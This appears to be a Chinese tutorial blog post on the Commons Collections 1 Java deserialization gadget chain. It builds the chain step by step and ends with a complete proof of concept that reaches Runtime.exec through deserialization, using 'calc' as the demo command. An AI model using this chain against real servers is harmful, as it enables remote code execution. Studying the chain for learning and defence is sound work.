编程语言CommonsCollections1利用链-java
xiuCommonsCollections为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。保证性能的同时大大简化代码
推荐各位师傅配合B站白日梦组长以及周哥的文章食用
1 2
| https://www.freebuf.com/column/3252 https://space.bilibili.com/2142877265?spm_id_from=333.337.0.0
|
漏洞点
该方法存在于特定版本的CommonsCollections中,也就是会有很多服务器存在这个方法

利用transform的写法调用计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package test;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class Test { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer1.transform(r); } }
|
接下来找谁调用了InvokerTransformer.transform方法

decorate方法调用了自身的构造器,我们调用这个方法获取一个TransformMap的实例




entry是遍历键值对的一组名称的代称,在这个链条里只要我们对AnnotationInvocationHandler这个类的实例进行反序列化操作,系统就会执行他自己重写的readObject方法,在这个方法里对他接收的map进行遍历,然后一路调用到我们InvokerTransformer.transform方法执行代码



Runtime实例反射调用计算器,但是Runtime的对象无法被反序列化,所以我们需要把它改为InvokerTransformer的写法套一层反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class test01 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Class runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime", null); Runtime r = (Runtime) getRuntime.invoke(null, null); Method exec = runtimeClass.getMethod("exec", String.class); exec.invoke(r,"calc"); } }
|
将以上反射调用计算器的代码利用InvokerTransformer重构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class test01 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
} }
|
上述写法是一种链式调用,就是上一条语句的输出作为下一条语句的输入,可以利用ChainedTransformer便捷的调用

1 2 3 4 5 6 7 8
| InvokerTransformer[] transformers = new InvokerTransformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|



选一个有属性的注解





完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.annotation.processing.SupportedSourceVersion; import javax.xml.crypto.dsig.Transform; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationHandlerConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object object = annotationInvocationHandlerConstructor.newInstance(SupportedSourceVersion.class,transformedMap);
FileOutputStream fileOutputStream = new FileOutputStream("xiu.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); fileOutputStream.close(); objectOutputStream.close();
FileInputStream inputStream = new FileInputStream("xiu.bin"); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); objectInputStream.close(); inputStream.close();
} }
|